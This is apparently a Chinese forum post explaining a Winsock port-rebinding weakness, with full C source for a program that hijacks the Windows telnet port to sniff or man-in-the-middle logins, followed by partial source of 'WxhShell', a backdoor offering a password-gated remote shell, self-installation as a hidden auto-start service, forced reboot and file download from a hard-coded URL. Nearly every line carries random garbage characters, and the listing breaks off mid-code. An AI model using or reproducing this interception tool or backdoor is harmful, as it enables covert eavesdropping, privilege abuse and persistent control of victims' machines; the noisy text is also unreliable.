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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1Yx[,GyC>&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XdXS^QA .s  
N4JL.(m){I  
  saddr.sin_family = AF_INET; (VF4]  
jjlCi<9CQ^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [,V92-s;N  
6P[O8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /[|md0,  
'm.XmVZL%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2SCf]&  
{?M*ZRO'  
  这意味着什么?意味着可以进行如下的攻击: Jd_1>p  
Ih0> ]h-7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z` Eb L  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T;e(Q,!H  
V$]a&wM<5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V?pO~q o  
HK4`@jYQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XhkL)) FcG  
C4K&flk]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9YsO+7[  
|a~&E@0c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JqhVD@1{  
a-A4xL.gm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 761"S@tf$}  
)ejqE6'[  
  #include r}M4()9L  
  #include 9'r3L)[  
  #include ;DWp>jgy  
  #include    z Clm'X/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S:T>oFUot  
  int main() n`2"(7Wj  
  { 5 /VB'N#7s  
  WORD wVersionRequested; nylIP */  
  DWORD ret; A>,fG9pR  
  WSADATA wsaData; N= q29JU  
  BOOL val; ,> EY9j  
  SOCKADDR_IN saddr; "4- Nnm  
  SOCKADDR_IN scaddr; &(1NOyX&  
  int err; tQ<2K*3]  
  SOCKET s; Ji?UG@  
  SOCKET sc; 4o8HEq!  
  int caddsize; M L_J<|,J  
  HANDLE mt; ;SP3nU))  
  DWORD tid;   ZQ8Aak  
  wVersionRequested = MAKEWORD( 2, 2 ); Y2$`o4*3  
  err = WSAStartup( wVersionRequested, &wsaData ); 5rSth.&  
  if ( err != 0 ) { aWK7 -n  
  printf("error!WSAStartup failed!\n"); \crmNH)3  
  return -1; X-WvKH(=w  
  } fmyS# 6"  
  saddr.sin_family = AF_INET; dfd%A" I  
   B{u.Yc:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F?4'>ZW  
*qOCo_=P8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;a77YL TQ  
  saddr.sin_port = htons(23); eWs^[^c.<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YLd%"H $n  
  { `I<|*vW u  
  printf("error!socket failed!\n"); #FM 'S|  
  return -1; E8 )*HOT_T  
  } p ;01a  
  val = TRUE; r>eXw5Pr7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XfDQx!gJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <]`2H}*U'  
  { <GR:5pJ%  
  printf("error!setsockopt failed!\n"); r+yLK(<zp  
  return -1; |n%N'-el  
  } )[Cm*Xxa$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $e\R5L u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0]W/88ut*u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OH~qJ <  
'0?E|B]Cp%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bHG>SW\]`?  
  { ?':'zT  
  ret=GetLastError(); t;6/bT-  
  printf("error!bind failed!\n"); >b${rgCvQ  
  return -1; tq93 2M4  
  } M_uij$1-  
  listen(s,2); #&gy@!a~  
  while(1) t:n|0G(  
  { OOwJ3I >]>  
  caddsize = sizeof(scaddr); q+Q)IVaU81  
  //接受连接请求 Q&;qFv5-l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q:=/d$*xd  
  if(sc!=INVALID_SOCKET) k9?+9bExXA  
  { 40ZB;j$l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f>PU# D@B  
  if(mt==NULL) 9(]j e4Cn  
  { P;[mw(  
  printf("Thread Creat Failed!\n"); 4h(Hy&1C  
  break; hQeZI+  
  } ?uv%E*TU  
  } 2F]MzeW  
  CloseHandle(mt); s o s&  
  } 34+}u,=  
  closesocket(s); Fb-TCq1y#  
  WSACleanup(); >iV(8EgBS  
  return 0; ;c}];ZU3G  
  }   +r"$?bw '  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,iy   
  { k$/].P*!  
  SOCKET ss = (SOCKET)lpParam; <GEn9;\  
  SOCKET sc; BW[K/l~"$:  
  unsigned char buf[4096]; K.Ir+SB  
  SOCKADDR_IN saddr; 548BM^^"r  
  long num; W1(zi P'6  
  DWORD val; @e/dQ:Fb  
  DWORD ret; g?sFmD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p^!p7B`qe.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fba3aId[  
  saddr.sin_family = AF_INET; *4E,| IJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vA`.8U 0S  
  saddr.sin_port = htons(23); QkAwG[4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 64@s|m*  
  { r8$TT\?~  
  printf("error!socket failed!\n"); QJ?!_2Ax  
  return -1; st>t~a|T  
  } =uTV\)  
  val = 100; >Fh@:M7z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '@P[fSQ  
  { Ckp=d  
  ret = GetLastError(); @YELqUb*  
  return -1; p IToy;]  
  } p,/^x~m3a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bHM .&4G  
  { yuB BO:\.  
  ret = GetLastError(); 6iC:l%|u  
  return -1; 4YC`dpO'  
  } ?0X.Ith^.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lNw?}H  
  { kzu=-@s  
  printf("error!socket connect failed!\n"); )2S\:&x  
  closesocket(sc); DQ$/0bq   
  closesocket(ss); :h@:F7N _  
  return -1; ?9cy5z[  
  } b :00w["  
  while(1) JZ [&:  
  { L`v,:#Y   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q)X&S*-<o~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w93,N+es6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *yx:nwmo  
  num = recv(ss,buf,4096,0); FqfeH_-U  
  if(num>0) l(W3|W#P  
  send(sc,buf,num,0); G 2##M8:U0  
  else if(num==0) ;d4_l:9p  
  break; ;f\0GsA#  
  num = recv(sc,buf,4096,0); Nx__zC^r  
  if(num>0) o\N}?Z,Kk  
  send(ss,buf,num,0); Uan ;}X7@  
  else if(num==0) (ydeZx  
  break; 1A `u0Y$g  
  } \kx9V|A'  
  closesocket(ss); =v8q  
  closesocket(sc); t!tBN  
  return 0 ; ;uy/Vc5,Y  
  } -|5&3HVz  
<G={V fr  
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========================================================== ak zb<aT  
]3G2mY;`"%  
下边附上一个代码,,WXhSHELL t@\0$V \X  
p5\b&~ g  
========================================================== tx.sUu6  
apXq$wWq{D  
#include "stdafx.h" 'Tn$lh  
]So%/rOvX  
#include <stdio.h> Qa=;Elp:[  
#include <string.h> G(>a LF  
#include <windows.h> 6*E 7}  
#include <winsock2.h> s$;v )w$  
#include <winsvc.h> UZ$p wjC  
#include <urlmon.h> -9mh|&z`  
BshS@"8r  
#pragma comment (lib, "Ws2_32.lib") JG `QJ%  
#pragma comment (lib, "urlmon.lib") _z;N|Xe  
9ccEF6o0=  
#define MAX_USER   100 // 最大客户端连接数 VCIG+Gz  
#define BUF_SOCK   200 // sock buffer DIY WFVh  
#define KEY_BUFF   255 // 输入 buffer YG_3@`-<  
4s~o   
#define REBOOT     0   // 重启 01J.XfCd6  
#define SHUTDOWN   1   // 关机 H:`r!5&Qb5  
V>hy5hDpH  
#define DEF_PORT   5000 // 监听端口 F9hCT)  
[ 6M8a8C  
#define REG_LEN     16   // 注册表键长度 L(L;z'3y  
#define SVC_LEN     80   // NT服务名长度 /CP1mn6H  
:\ S3[(FV  
// 从dll定义API iH2|w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {pqm&PB04  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u}$?r\H'(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WE3l*7<@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <H.Ml>q:r  
Z1&8 U=pax  
// wxhshell配置信息 \6o ~ i  
struct WSCFG { d%<Uh(+:  
  int ws_port;         // 监听端口 W \"cp[b  
  char ws_passstr[REG_LEN]; // 口令 E4P P& '  
  int ws_autoins;       // 安装标记, 1=yes 0=no [30<  0  
  char ws_regname[REG_LEN]; // 注册表键名 Gh j[nsoC~  
  char ws_svcname[REG_LEN]; // 服务名 5%9& 7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^;'3(m=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n`6vM4rM)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v^vEaB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )gE:@ 3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qVf~\H@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B!:(*lF  
_M?:N:e  
}; }Vt5].TA  
B|8(}Ciqx  
// default Wxhshell configuration ! !9V0[  
struct WSCFG wscfg={DEF_PORT, R +k\)_F  
    "xuhuanlingzhe", >o@WT kF]  
    1, h' 16"j>  
    "Wxhshell", >y1/*)O9~  
    "Wxhshell", "ey~w=B$M  
            "WxhShell Service", %9IM|\ulp  
    "Wrsky Windows CmdShell Service", :U~[%]  
    "Please Input Your Password: ", {pVD`#Tl[  
  1, *w!H -*`  
  "http://www.wrsky.com/wxhshell.exe", 9 eP @}C6  
  "Wxhshell.exe" +s`n]1HC  
    }; ^ H'|iju  
9%4rO\q  
// 消息定义模块 e|`&K"fnq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lm8 cY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )ZT&V I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %;gD_H4mm  
char *msg_ws_ext="\n\rExit."; R\iU)QP  
char *msg_ws_end="\n\rQuit."; U!('`TYe  
char *msg_ws_boot="\n\rReboot..."; _c[t.\-`]  
char *msg_ws_poff="\n\rShutdown..."; ZI1[jM{4^F  
char *msg_ws_down="\n\rSave to "; fPst<)  
?R";EnD  
char *msg_ws_err="\n\rErr!"; vsc&$r3!5{  
char *msg_ws_ok="\n\rOK!"; rXA7<_Vg  
UlyX$f%2  
char ExeFile[MAX_PATH]; $Cte$ jg{;  
int nUser = 0; `74A'(u_  
HANDLE handles[MAX_USER]; (HY|0Bgr  
int OsIsNt; x;ujR<  
&D/_@\ 0  
SERVICE_STATUS       serviceStatus; yHCBf)N7\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /7*u!CNm  
Tmq:,.^}  
// 函数声明 BONM:(1  
int Install(void); 55Jk "V#8  
int Uninstall(void); Q|:\  
int DownloadFile(char *sURL, SOCKET wsh); mgS%YG  
int Boot(int flag); @n<WM@|l  
void HideProc(void); B;^7Yu0,  
int GetOsVer(void); oSxHTbp?  
int Wxhshell(SOCKET wsl); .a$][Jny  
void TalkWithClient(void *cs); Jyvc(~x  
int CmdShell(SOCKET sock); y>|7'M*+  
int StartFromService(void); &}rh+z  
int StartWxhshell(LPSTR lpCmdLine); BVG 3 T  
Ry,jPw5<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fe: 0nr9;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,rQznE1e  
\ ddbqg?`  
// 数据结构和表定义 *&LVn)@[`  
SERVICE_TABLE_ENTRY DispatchTable[] = Up`zVN59.  
{ ]U]{5AA6  
{wscfg.ws_svcname, NTServiceMain}, --y .q~d  
{NULL, NULL} I(pU_7mw  
}; P*G&pitT  
k pEES{f  
// 自我安装 >pr{)bp G  
int Install(void) xEGI'lt  
{ w<5w?nP+Oh  
  char svExeFile[MAX_PATH]; 7|\[ipVX:3  
  HKEY key; `XQM)A  
  strcpy(svExeFile,ExeFile); 74QWGw`,  
n ,`!yw  
// 如果是win9x系统,修改注册表设为自启动 iz>a0~(K  
if(!OsIsNt) { 6X)8vQH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C)Mh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G.1pg]P!  
  RegCloseKey(key); M++*AZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A-uEZj_RD=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r'-)@|  
  RegCloseKey(key); LDO@$jg  
  return 0; s>^*GQw  
    } (Zx;GS  
  } zkB_$=sbn#  
} SxNs  
else { ^qGH77#z  
#|)GarDG  
// 如果是NT以上系统,安装为系统服务 VMsAT3^w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J=5G<  
if (schSCManager!=0) 5{VrzzOK}  
{ 9_oIAn:<  
  SC_HANDLE schService = CreateService o1 QK@@}  
  ( -_v[oqf$  
  schSCManager, Ust>%~<  
  wscfg.ws_svcname, P6dIU/w  
  wscfg.ws_svcdisp, h$y1"!N(  
  SERVICE_ALL_ACCESS, (:-=XR9A`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yin"+&<T  
  SERVICE_AUTO_START, }B^KV#_{S  
  SERVICE_ERROR_NORMAL, L9&Z?$6J_p  
  svExeFile, t: r   
  NULL, <5G*#0gw  
  NULL, i e%ZX  
  NULL, - TSn_XE  
  NULL, >cQ*qXI0  
  NULL qbpvTTF  
  ); O]90 F  
  if (schService!=0) USfOc  
  { Z'hW;^e%_z  
  CloseServiceHandle(schService); BB>3Kj:|  
  CloseServiceHandle(schSCManager); e=QnGT*b5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /\(0@To  
  strcat(svExeFile,wscfg.ws_svcname); mq do@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tNoo3&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /EA4-#uw  
  RegCloseKey(key); =&< s*-l[  
  return 0; &CG3_s<2  
    } \ @3i=!  
  } +kmPQdO;*/  
  CloseServiceHandle(schSCManager); x/R|i%u-s  
} l0 r Zril  
} {eMu"<  
ma?$@ ]`k  
return 1; r. =_=V/t  
} lmgMR|v  
T[*=7jnJQ  
// 自我卸载 X2/ `EN\  
int Uninstall(void) s+$l.aIO!  
{ z{7&=$  
  HKEY key; *4dA(N\k"  
~W_m<#K(  
if(!OsIsNt) { #92 :h6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1ki##v[ W8  
  RegDeleteValue(key,wscfg.ws_regname); 8J7 xs6@  
  RegCloseKey(key); ]@)X3}"!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z ~T[%RjO  
  RegDeleteValue(key,wscfg.ws_regname); @_YlHe&W  
  RegCloseKey(key); -H#{[M8xX  
  return 0; D/"[/!  
  } Zm4IN3FGLv  
} Ul)2A  
} S9t_2%e  
else { 1BmevE a)  
i\ X Ok!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t=d~\_Oa  
if (schSCManager!=0) >| rID  
{ _A;jtS)SY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); % Lhpj[C  
  if (schService!=0) r*OSEzGUz  
  { y9?BvPp+  
  if(DeleteService(schService)!=0) { o5-oQ_ j  
  CloseServiceHandle(schService); !FX;QD@"  
  CloseServiceHandle(schSCManager); *}$T:kTH  
  return 0; ![18+Q\  
  } 50F6jj  
  CloseServiceHandle(schService); C7[_#1Oz  
  } TwqyQ49  
  CloseServiceHandle(schSCManager); x@;XyQq  
} =\eM -"r  
} Eg FV  
;@Alr?y  
return 1; p3M)gH=N  
} QS4sSua  
{+0]diD  
// 从指定url下载文件 ;oH17  
int DownloadFile(char *sURL, SOCKET wsh) }3!83~Qbx  
{ snK$? 9vh  
  HRESULT hr; Zm >Q-7r9  
char seps[]= "/"; 4/&Us  
char *token; ><mZOTn e;  
char *file; - /]ro8V$  
char myURL[MAX_PATH]; .9#4qoM'  
char myFILE[MAX_PATH]; )O#]Wvr  
4L85~l  
strcpy(myURL,sURL); mVcpYyD|k  
  token=strtok(myURL,seps); 5wmH3g#0  
  while(token!=NULL) S#8wnHq  
  { {OL*E0  
    file=token; u-=S_e  
  token=strtok(NULL,seps); >k,bHGj?  
  } #I'W[\l~+  
`(vgBz`e[  
GetCurrentDirectory(MAX_PATH,myFILE); x }[/A;N  
strcat(myFILE, "\\"); VLQDktj&  
strcat(myFILE, file); y)X;g:w  
  send(wsh,myFILE,strlen(myFILE),0);  Jx9S@L`  
send(wsh,"...",3,0); I,(m\NalK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5?r#6:(yI  
  if(hr==S_OK) @Kd1|K  
return 0; )l[<3< @s  
else ~}q"M[{  
return 1; N)K};yMf  
E ~<SEA  
} d kHcG&)  
22"M#:r$  
// 系统电源模块 f ?_YdVZ  
int Boot(int flag) ^o+2:G5z}  
{ bHH{bv~Z  
  HANDLE hToken; %*wJODtB|  
  TOKEN_PRIVILEGES tkp; H$>D_WeJ  
hZ Gr/5f  
  if(OsIsNt) { 6;60}y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <W2}^q7F^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }L^Yoq]  
    tkp.PrivilegeCount = 1; IsxPm9P2<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (cAv :EKpo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +Pd&YfU9  
if(flag==REBOOT) { _A|1_^[G(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s-Q-1lKV,  
  return 0; tSV}BM,  
} 7h?PVobe  
else { 7(rTGd0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Tw/kD)u{  
  return 0; FY)vrM*yh  
} w|pk1~c(_  
  } PX65Z|~>_  
  else { m(,vym t  
if(flag==REBOOT) { :{pvA;f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) []/=!?5B  
  return 0; y8HLrBTza  
} {";5n7<<)  
else {  LKieOgX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %H75u 6  
  return 0; AR\>P  
} JP)/ O!  
} ;n$j?n+|  
X+)68  
return 1; jhjGDF  
} I~\j%zD  
bAms-cXm  
// win9x进程隐藏模块 -%*>z'|{  
void HideProc(void) 8+{WH/}y8  
{ }`&#{>]2  
UeV2`zIg`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D-\\L[  
  if ( hKernel != NULL ) mVfg+d(  
  { ]|18tVXc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4j|]=58  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fIN8::Cs[  
    FreeLibrary(hKernel); rp u9  
  } M>P-0IC  
;ZPAnd:pb  
return; .%_scNP  
} "2;$?*hO#  
osyY+)G'sV  
// 获取操作系统版本 ,LKY?=T$z  
int GetOsVer(void) YNA %/  
{ {\ [u2{  
  OSVERSIONINFO winfo; b2u_1P\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Izm8 qt=m  
  GetVersionEx(&winfo); y?GRxoCD"e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {LYA?w^GT  
  return 1; pj;cL ]L  
  else 7GY[l3arxv  
  return 0; v^2K=f[nE  
} A<2_V1  
`An|a~G1  
// 客户端句柄模块 !yU!ta Q  
int Wxhshell(SOCKET wsl) (`x6QiG!  
{ ZfM(%rx  
  SOCKET wsh; y5B4t6M(  
  struct sockaddr_in client; v/=O:SM}  
  DWORD myID; *X8<hYKZq  
|UZPn>F~  
  while(nUser<MAX_USER) :]iV*zo_  
{ 2#~5[PtP^  
  int nSize=sizeof(client); z #c)Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3ddH@Y|  
  if(wsh==INVALID_SOCKET) return 1; TzmoyY  
zRN_` U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0^nnR7  
if(handles[nUser]==0) Z7% |'E R  
  closesocket(wsh); ~F~g$E2 }  
else "gjy+eosY  
  nUser++; cJj4qX F  
  } g+;m?VJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ' Z:FGSwT  
fQRGz\r*k  
  return 0; XSC._)ztEE  
} o#gb+[  
+!Q<gWb  
// 关闭 socket ,!_$A}@0 ^  
void CloseIt(SOCKET wsh) f?kA,!  
{ hd1(q33  
closesocket(wsh); iI ji[>qz  
nUser--; Tn,'*D@l  
ExitThread(0); XBe!9/'k>  
} W}#eQ|oCV  
Tm~a& p  
// 客户端请求句柄 L^uO.eI"m  
void TalkWithClient(void *cs) $50A!h  
{ e}Cp;c]=  
"- @{ )  
  SOCKET wsh=(SOCKET)cs; fa9c!xDt  
  char pwd[SVC_LEN]; GhpVi<FL  
  char cmd[KEY_BUFF]; T<Y^V  
char chr[1]; {\9vW; '  
int i,j; f#}P>,TP  
K n%[&  
  while (nUser < MAX_USER) { 37Ux2t  
N-EVH e'}6  
if(wscfg.ws_passstr) { h'YC!hjp   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'MH WNPG0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  "_t2R &A  
  //ZeroMemory(pwd,KEY_BUFF); IoWh&(+KdH  
      i=0; `wz@l:e  
  while(i<SVC_LEN) { B'"(qzE-kM  
T#%r\f,l0  
  // 设置超时 Y ]&D;w  
  fd_set FdRead; swV/M i>  
  struct timeval TimeOut; {^zieP!  
  FD_ZERO(&FdRead); Y5 e6|b|  
  FD_SET(wsh,&FdRead); W m\HZ9PN  
  TimeOut.tv_sec=8; unu%\f>^4  
  TimeOut.tv_usec=0; $}RBK'cr}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gBb+Q,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3* C9;Q}  
N@Pf\D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '*H&s  
  pwd=chr[0]; \g& P5  
  if(chr[0]==0xd || chr[0]==0xa) { Hh`x>{,|S  
  pwd=0; ovJwo r  
  break; 7.7P>U  
  } a[d6@!  
  i++; l2Z!;Wm(  
    } MebL Y $&8  
F_0vh;Jo  
  // 如果是非法用户,关闭 socket TY}9;QL:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ' k[d&sR  
} +EG?8L,z  
[)UL}vAO\q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &U/7D!^X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W(U:D?e  
S_?{ <{  
while(1) { ZP75zeH  
7`-fN|  
  ZeroMemory(cmd,KEY_BUFF); @9S3u#vP  
sbn|D\p  
      // 自动支持客户端 telnet标准   \`3YE~7J/  
  j=0; "cSH[/  
  while(j<KEY_BUFF) { V ':?rEN|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zzOc # /  
  cmd[j]=chr[0]; }jTCzqHW]  
  if(chr[0]==0xa || chr[0]==0xd) { uFPJ}m[>5  
  cmd[j]=0; yneIY-g(p  
  break; 40,u(4.m*  
  } k\(LBZ"vR  
  j++; pJ)PVo\cV  
    } !9w3/Gthj  
~nO]R   
  // 下载文件 %6Wv-:LY  
  if(strstr(cmd,"http://")) { O6JH)Ka"S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j"g[qF/*  
  if(DownloadFile(cmd,wsh)) NKyaR_q`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $OEhdz&Fi  
  else Q'-g+aN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :: IAXGH)  
  } S5B12P  
  else { i2$7nSQ9  
x?T.ItW:K  
    switch(cmd[0]) { Si=zxy T  
  qy@v, a  
  // 帮助 UC&f  
  case '?': { '?7?"v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rjsqXo:9  
    break; 'u"r^o?  
  } +M@p)pyu  
  // 安装 o2p;$W4`  
  case 'i': { qz]b8rX  
    if(Install()) 7nr+X Os  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D}4*Il?  
    else d@-s_gw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g Mhn\  
    break; ~J #^L*  
    } .CU~wB@h  
  // 卸载 f0 iYP   
  case 'r': { @N^?I*|u  
    if(Uninstall()) ~+ _|J"\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $'m&RzZ  
    else %K@s0uQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bWp40&vx  
    break; ynkPI6o  
    } J*4byu|  
  // 显示 wxhshell 所在路径 }~/u%vI@M5  
  case 'p': { #"PI%&  
    char svExeFile[MAX_PATH]; MZ9{*y[z  
    strcpy(svExeFile,"\n\r"); N0U6N< w  
      strcat(svExeFile,ExeFile); FUy!j|W6f  
        send(wsh,svExeFile,strlen(svExeFile),0); 2AN6(k4o  
    break; s^O>PEX&<I  
    } E<=h6Ha  
  // 重启 C8^=7H EB  
  case 'b': { `{1` >5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8&d s  
    if(Boot(REBOOT)) r7dvj#^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +[W_J z  
    else { f+A!w8E  
    closesocket(wsh); sT&O%(  
    ExitThread(0); UC@ &! kM  
    } 42 6l:>D(  
    break; gZ{q85C.>  
    } UD.&p'^ /{  
  // 关机 wO\,?SI4  
